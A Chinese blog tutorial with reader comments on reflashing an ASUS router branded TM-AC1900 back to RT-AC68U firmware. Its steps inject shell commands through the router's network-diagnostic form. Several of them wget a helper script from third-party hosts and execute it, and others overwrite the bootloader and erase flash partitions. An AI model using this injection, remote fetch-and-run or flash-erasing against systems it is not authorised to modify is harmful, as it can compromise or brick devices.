TM-AC1900 3199 版本固件刷回 AC68U 支持 AiMesh

  1. 相关资料
  2. 刷机文件、工具准备
    1. 修改 CFE 文件
    2. 刷机文件打包
  3. 检测环境是否正常
  4. 执行命令挂载U盘、读写权限修改、刷机……
    1. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    2. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    3. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    4. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    5. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    6. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    7. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    8. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    9. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    10. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    11. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    12. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
  5. AC68U 加固,防止变回 TM-AC1900
    1. 备份 mtd5_backup.bin 以备不时之需
    2. 升级到 45149 版本
  6. 附:TM-AC1900 3199 版本固件备份原始 CFE 文件方法
    1. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    2. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
  7. Aimesh 无法搜索到或者添加节点?
    1. 导出 cfe
    2. 修改 cfe
    3. 刷入 cfe
文章目录X

2016 年双十一淘宝买的水货华硕 RT-AC68U还在服役,折腾过双拨、刷过梅林……前阵子直接从梅林刷回原版。也是因为这个,大意了,中午登陆路由器看到有更新,于是点更新……

就这样悲剧了,三分钟、三分钟、三分钟……手机还是没有连上 WIFI。断电重启,依旧无法连接 WIFI。电脑网线连接路由器登陆,发现名字变成 TM-AC1900 了……版本:3.0.0.4.376_3199,这个 TM 版固件跟 AC68U 的肯定是有区别的,要不然不会配置都丢失了。

这下子隐约中有点不妙的感觉……很久前听说过华硕新版本固件锁 CEF,无法降级、无法刷第三方固件……

我就普通家用,AiMesh 也用不上,按理 TM-AC1900 固件也无所谓,可是心里不舒服,感觉换了个阉割路由器似的,于是遍地找教程看看能不能刷回来。

看了一圈,简单的方法试了一下——路由器后台直接刷、降级、救援模式加 TFTP 直接刷、进入 CFE 刷……对 3199 版本无效。应该就剩下两个方法可行:一个是拆 Flash 重新写;二是使用命令通过 U 盘重新刷 CFE 和固件。

第一个就干不了,没工具没技术,风险大大。第二个有教程:分享 TM-AC1900 3199 固件刷回 AC68U 支持 AiMesh 的方法

可是第二个方法第一步就卡住了——需要机器原本的 CFE 文件。TM-AC1900 3199 固件后台连开启 SSH 的选项都没有了,CFE 是无法备份导出了。后来翻帖子,CFE 区别只是 MAC 和 PIN 码,这个登录路由器就能获取到,然后用工具修改别人提供的 CFE 文件就好。

这里#44楼下了 CFE 和修改工具。(最终实测可用)

如需获取TM-AC1900 3199 固件原始 CFE 文件,参考文末:TM-AC1900 3199 版本固件备份原始 CFE 文件方法。然后使用在线工具:CFEditor: Make Routers Great Again 生成新的 CFE 文件。

相关资料

From AC1900 To AC68U After Revert——这个应该是原始教程,英文。如网络不给力,可点击此处下载备份导出的 PDF 版本

分享 TM-AC1900 3199 固件刷回 AC68U 支持 AiMesh 的方法——中文版教程。

华硕TM-AC1900 刷AC68P & AC68U x.32799可行aimes

TMO 3199 改 ac68 方法——docbill


下面开始刷机流程:

温馨提示:刷机有风险!后果使用者自负!!!

刷机文件、工具准备

文件:TM-AC1900toRT-AC68U-cyhour.com.zip(包含有:CFEEdit.exe、mtd-write、FW_RT_AC68U_30043763626.trx 和 cfe_ac68u_1020.bin),链接:OneDrive · 高速网盘(解压密码 1024)

修改 CFE 文件

登录路由器获取 LAN MAC、2.4G 无线 MAC、5G 无线 MAC 以及 PIN 码(LAN MAC 与 2.4G 无线 MAC 可能相同)。然后使用 CFEEdit.exe 打开 cfe_ac68u_1020.bin CFE 文件,修改4个地方:

et0macaddr=00:00:00:00:00:00 中 00:00:00:00:00:00 改为 LAN MAC;

0:macaddr=00:00:00:00:00:00 中 00:00:00:00:00:00 改为 2.4G 无线 MAC;

1:macaddr=00:00:00:00:00:00 中 00:00:00:00:00:00 改为 5G 无线 MAC;

secret_code=12345678 中 12345678 改为原来路由器 PIN 码。

修改完成后另存为 new_cfe.bin。

刷机文件打包

这里通过 U 盘方式刷机,准备一个闲置 U 盘,格式化为 NTFS,卷标改为 USB。把前面修改好的 new_cfe.bin 与 FW_RT_AC68U_30043763626.trx、mtd-write 一起打包成 zip 压缩包文件,命名为 files12345.zip 复制到 U 盘,然后U盘插到路由器上。

注意:压缩包文件不能在文件夹下。


以下操作请确保路由器能正常联网。

检测环境是否正常

打开 Chrome 浏览器(Firefox 应该也没问题),登录路由器,进去「网络工具」-「网络诊断」,鼠标右键检查(或 F12),打开「开发者工具界面」,点入 console 选项卡,备用。

validForm = function(){document.form.SystemCmd.value = "ping\necho hello world";return true;}

console 命令行下,复制、粘贴上面的命令,然后回车。再点击路由器界面「网络诊断」按钮。若正常,会在路由器「网络诊断」按钮下面文本框内出现 hello world。测试没问题,就可以正式开始。

 1012-network-tool-console

执行命令挂载U盘、读写权限修改、刷机……

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nmount -t tmpfs tmpfs userRpm";return true;}

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nmount";return true;}

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\ncp -a . userRpm";return true;}

日志可能提示:cp: recursion detected, omitting directory "./userRpm"

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nmount --move userRpm .";return true;}

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nmount";return true;}

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nservice restart_httpd";return true;}

这步操作完成会提示 done. 然后等2分钟以上后再进行后面命令执行操作。(实测不等待也可以成功)

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nwget -A txt -r -nH -nd --no-check-certificate tmac1900.weebly.com";return true;}

此处命令执行成功,返回信息会有 u.txt 字样,如果没有表示失败。。这步操作如果失败,回到前面一步(第6步)重新操作。

实测,直接重新执行这一步,直到成功获取 u.txt 也可以。

Tips:可在电脑浏览器尝试 tmac1900.weebly.com 是否能访问,若不能,可将 tmac1900.weebly.com 换成 docbill.freeshell.org 重试。或将 u.txt 放至自己的服务器上,将 tmac1900.weebly.com 改成自己服务器地址。

u.txt 文件内容如下:

sh -x -c "`echo "$*"|sed -e 's,[.][.]\([0-9A-F][0-9A-F]\),%\1,g' -e 's,%20, ,g' -e 's,%23,#,g' -e 's,%24,$,g' -e 's,%2F,/,g' -e 's,%3A,:,g' -e 's,%3B,;,g' -e 's,%3C,<,g' -e 's,%3D,=,g' -e 's,%3E,>,g' -e 's,%5F,_,g' -e 's,%25,%,g' `"

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\n. u.txt "+encodeURIComponent('find /tmp/mnt -name files12345.zip').replace(/%/g,'..');return true;}

这步完成 files12345.zip 应该就挂载上。

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\n. u.txt "+encodeURIComponent('unzip -o /tmp/mnt/USB/files12345.zip').replace(/%/g,'..');return true;}

此步操作应该是解压 files12345.zip

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nchmod 755 mtd-write";return true;}

此步操作应该是修改 mtd-write 权限。

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\n. u.txt "+encodeURIComponent("./mtd-write new_cfe.bin boot").replace(/%/g,'..');return true;}

此步操作应该应该就成功把新的 cfe 写进去了。

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nmtd-write2 FW_RT_AC68U_30043763626.trx linux";return true;}

这步完成,路由器新 cfe 和固件都已经刷写好。保险起见,操作完成后等待五分钟以上,然后关掉电源,按住 WPS 按钮不放同时开机,直至路由器后面白色 ASUS 指示灯闪烁,松开 WPS 按钮(这个步骤是清 NVRAM 恢复默认设置),待路由器自动重启完毕。如无意外,TM-AC1900 3199 版本固件已经成功刷回 AC68U 固件。

温馨提示:此步若失败也不怕,前面一步已经更新 cfe。清除 NVRAM,然后进入 miniCFE 应该可以直接刷 FW_RT_AC68U_30043763626.trx 固件。

AC68U 加固,防止变回 TM-AC1900

为保证 AC68U 升级固件不会变回 AC1900 还要对路由进行如下处理:

打开路由器 SSH,通过 SSH 连接路由器,依次执行如下命令:

cat /dev/mtd5 > /jffs/mtd5_backup.bin && mkdir /tmp/asus_jffs && mount -t jffs2 /dev/mtdblock5 /tmp/asus_jffs && rm -rf /tmp/asus_jffs/* && sync && umount /tmp/asus_jffs && ln -s /sbin/rc mtd-erase
./mtd-erase -d asus
rm -rf /jffs/.sys/RT-AC68U
nvram unset fw_check && nvram commit && reboot

等待路由器自动重启完成即可。

备份 mtd5_backup.bin 以备不时之需

使用 WinSCP 把 /jffs/mtd5_backup.bin 复制出来备份即可。

升级到 45149 版本

RT-AC68U 固件官方下载地址:https://www.asus.com.cn/Networking/RTAC68U/HelpDesk_BIOS/

2018/12/06 最新版本 3.0.0.4.384.45149:RT-AC68U_3.0.0.4_384_45149-g467037b.trx · OneDrive

RT-AC68U_3.0.0.4_384_45149-g467037b.trx 文件 MD5: b14c93ea7c5ebbde8270f4ee5a76a36e

2019-8-24 最新版本 3.0.0.4.384.81039:FW_RT_AC68U_300438481039.zip · OneDrive

MD5: 417d5d34cad09d440680d8f87b06f225

升级方法:登录路由器,「系统管理」 - 「固件升级」,手工上传固件升级。建议不要在线更新!

升级完成后,重复上面加固操作,以防万一:

cat /dev/mtd5 > /jffs/mtd5_backup.bin && mkdir /tmp/asus_jffs && mount -t jffs2 /dev/mtdblock5 /tmp/asus_jffs && rm -rf /tmp/asus_jffs/* && sync && umount /tmp/asus_jffs && ln -s /sbin/rc mtd-erase
./mtd-erase -d asus
rm -rf /jffs/.sys/RT-AC68U
nvram unset fw_check && nvram commit && reboot

至此,折腾完毕。

温馨提示:刷机有风险!后果使用者自负!!!

附:TM-AC1900 3199 版本固件备份原始 CFE 文件方法

方法来自:From AC1900 To AC68U After Revert——这个应该是原始教程,英文。如网络不给力,可点击此处下载备份导出的 PDF 版本

validForm = function(){document.form.SystemCmd.value = "ping\nwget -A txt -r -nH -nd --no-check-certificate tmac1900.weebly.com";return true;}

前面烧写固件步骤执行上面命令成功后,执行如下命令:

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nu.txt "+encodeURIComponent("cat /dev/mtd0 > /tmp/mnt/USB/original_cfe.bin").replace(/%/g,"..");return true;}

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nu.txt "+encodeURIComponent("umount  /tmp/mnt/USB").replace(/%/g,"..");return true;}

如无意外,至此成功获取TM-AC1900 3199 版本固件原始 CFE 文件保存到 U 盘。

Aimesh 无法搜索到或者添加节点?

温馨提示:刷写 cfe 有风险,后果自负!

CFE 问题,参考资料:Aimesh 无法搜索到 AC66U_B1 节点问题

解决方法:把 CFE 导出来修改两个地方:nospare 和 ATEMODE,改完再刷回去恢复一次出厂设置就可以。nospare=0(等于0才可以添加节点),ATEMODE=0(等于0才可以使用 Aimesh)。如果没有 nospare 手动添加进去。

导出 cfe

SSH 连接 AC68U,执行如下命令,然后 WinSCP 连接路由器,在 /tmp 目录下即可下载导出的原始 cfe 文件 original_cfe.bin

cd /tmp
cat /dev/mtd0 > original_cfe.bin

修改 cfe

CFEEdit.exe 和 mtd-write 可在此下载。(解压密码 1024)

cfe 修改参考:

 1012-cfe-atemode

刷入 cfe

温馨提示:刷写 cfe 有风险,后果自负!

CFEEdit.exe 和 mtd-write 可在此下载。(解压密码 1024)

把修改好的 cfe 文件(比如 new_cfe.bin)和 mtd-write 通过 WinSCP 上传到 /tmp 目录。执行如下命令,完成后路由器恢复出厂设置即可。

chmod u+x mtd-write
./mtd-write new_cfe.bin boot
免责声明:本博客(https://cyhour.com/)仅为分享信息绝非推荐,网站不参与交易绝非中介,内容均仅代表个人观点绝非权威,所有信息仅供参考,读者请自行考虑后入手并自担风险!一分钱一分货仍是恒久不变之真理,未成年读者(包括生理和心理)请在监护人陪同下访问本站!
除非注明,沙唐桔文章均为原创,本文地址 https://cyhour.com/1012/AMP 移动加速版本)转载时必须以链接形式注明原始出处。
Vultr 送$100,搬瓦工年付最低$49,优惠码 BWH3HYATVBJW,更多推荐VPS信息,或支持老杨
浏览: 9K 标签:  ,  ,  , 

Comments:35

  1. 步骤这么多,看着都怕。。。

    2019.01.15 12:45 # 回复
    1楼
  2. 准备入ac86u,你的意思只用原版的固件吗?

    2019.01.15 14:25 # 回复
    2楼
    • @子痕 没锁的话可以第三方啊。
      ——–
      我这个是 TM-AC1900,俗称水货 AC68U,两者硬件据说是一样的。后台在线升级就会变回 TM-AC1900,TM 新版本固件有锁,有限制……这里按别人的教程刷回 AC68U 了。
      ——–
      那些增强功能我都用不上,前阵子刷回 AC68U 原版了。

      2019.01.15 14:40 # 回复
  3. K3还在睡觉,然而宽带已经被我停了

    2019.01.15 17:11 # 回复
    3楼
  4. 就喜欢看大佬折腾这些东西了。

    2019.01.16 11:21 # 回复
    4楼
    • @灵尘子 我这是作死,后台点升级了……然后又不甘心,刚好别人有教程,就折腾回来了。

      2019.01.16 12:35 # 回复
  5. AiMesh 切换的时候,虽然不会断线,但是要好一会才可以恢复网络

    2019.01.16 11:25 # 回复
    5楼
  6. cc

    感谢大佬教程 终于重新刷回来了

    2019.08.24 13:26 # 回复
    6楼
  7. jonathan

    大佬,想问照此步骤刷回68u了,但是aimesh就是搜不到,有什么办法么?

    2019.12.20 21:27 # 回复
    7楼
    • @jonathan 貌似跟 CFE 有关,参考:https://koolshare.cn/forum.php?mod=viewthread&tid=171328&page=1#pid2098742
      ———
      原66UB1 1.1.2.2版本的cfe里只有ATEMODE=0没有nospare=0
      在尾端用CFEEdit添加nospare=0刷入即可

      2019.12.20 21:37 # 回复
    • @jonathan 教程:https://koolshare.cn/thread-158966-1-1.html

      2019.12.20 21:48 # 回复
  8. sch

    最后重启路由器前显示 BUS error

    2020.03.13 21:22 # 回复
    8楼
    • @sch 看国外教程这个错误好像无所谓:https://www.bayareatechpros.com/ac1900-to-ac68u/#comment-5425
      继续重启清除 NVRAM 应该就可以。

      2020.03.13 22:26 # 回复
  9. lubaoz

    tmac1900.weebly.com 和 docbill.freeshell.org 都做过尝试无效,也不会自己弄服务器,请问有其他办法吗?

    2020.04.08 02:12 # 回复
    9楼
    • @lubaoz 本地搭建一个服务器应该不难啊。

      2020.04.08 17:33 # 回复
      • lubaoz

        @老杨 试过用本地服务器做u.txt 还是没法识别这个脚本

        2020.04.09 13:23 # 回复
        • @lubaoz 我丢了一个到服务器,有需要可以试试。

          validForm = function(){document.form.SystemCmd.value = "ping\nwget -A txt -r -nH -nd --no-check-certificate cyhour.com";return true;}
          2020.05.20 09:52 # 回复
  10. 技工

    本来是国行68U,也是手欠去点了在线更新,等后来想刷梅林,一刷就锁了。学习下教程准备周末试试刷回来。
    请问下,是不是刷回后,是不是不用加固那一步可以直接刷梅林了?

    2020.05.18 10:16 # 回复
    10楼
    • @技工 嗯,刷回来,不要联网直接刷梅林应该就可以了。

      2020.05.18 10:22 # 回复
      • 技工

        @老杨 感谢!!!周末试试。本来老的原版将就用着(官方DM是真难用。。。),突然就想刷梅林换个下载用用,结果锁得我PPTP都没法用了(公司网络有限制好多网站屏蔽),必须折腾刷回去!哈哈~

        2020.05.18 10:29 # 回复
  11. 技工

    老杨再请教一下,tmac1900.weebly.com 和 docbill.freeshell.org 如果这两个网站都不行,自己搭个服务器也识别不了,卡在这一步的话,还是能当成3199用的吧?

    2020.05.20 09:02 # 回复
    11楼
    • @技工 没试过不好说。试多几次?我也试了几次才成功。

      2020.05.20 09:43 # 回复
      • 技工

        @老杨 OK,谢谢。估计大概率前面两个网站不行了,先摸鱼搭个服务器,周末试试

        2020.05.20 09:45 # 回复
        • @技工 后面那个网站是可以访问的,不知道是不是要挂科学工具。我丢了一个到服务器,可以试试。

          validForm = function(){document.form.SystemCmd.value = "ping\nwget -A txt -r -nH -nd --no-check-certificate cyhour.com";return true;}
          2020.05.20 09:51 # 回复
          • 技工

            @老杨 感激不尽!好想今天下班回去就刷,我要忍住。。。不认真带娃会被领导剥夺研究经费的。。。

            2020.05.20 09:57 # 回复
  12. 技工

    感谢老杨,刷回来了。今晚回去再刷梅林,就养老了。

    2020.05.22 09:47 # 回复
    12楼
  13. nick

    大佬,我进行到第8步显示如下
    + find /tmp/mnt -name files12345.zip
    第9步显示如下
    + unzip -o /tmp/mnt/USB/files12345.zip
    unzip: can’t open /tmp/mnt/USB/files12345.zip
    , /tmp/mnt/USB/files12345.zip
    .zip, /tmp/mnt/USB/files12345.zip
    .ZIP
    我检查了文件名,打包情况和U盘配置,应该都没有问题,请问可能是哪步出了纰漏呢

    2020.05.27 19:36 # 回复
    13楼
    • @nick U盘卷标改了?卷标改为 USB……这个提示就是无法打开 files12345.zip 文件,可能路径不对,或者U盘没挂载上也有可能。

      2020.05.28 11:54 # 回复
  14. kevin

    4.7步为啥一直卡在网络诊断加载中

    2020.07.27 21:35 # 回复
    14楼

发表留言

Vultr 送$100,搬瓦工年付最低$49,优惠码 BWH3HYATVBJW,更多推荐VPS信息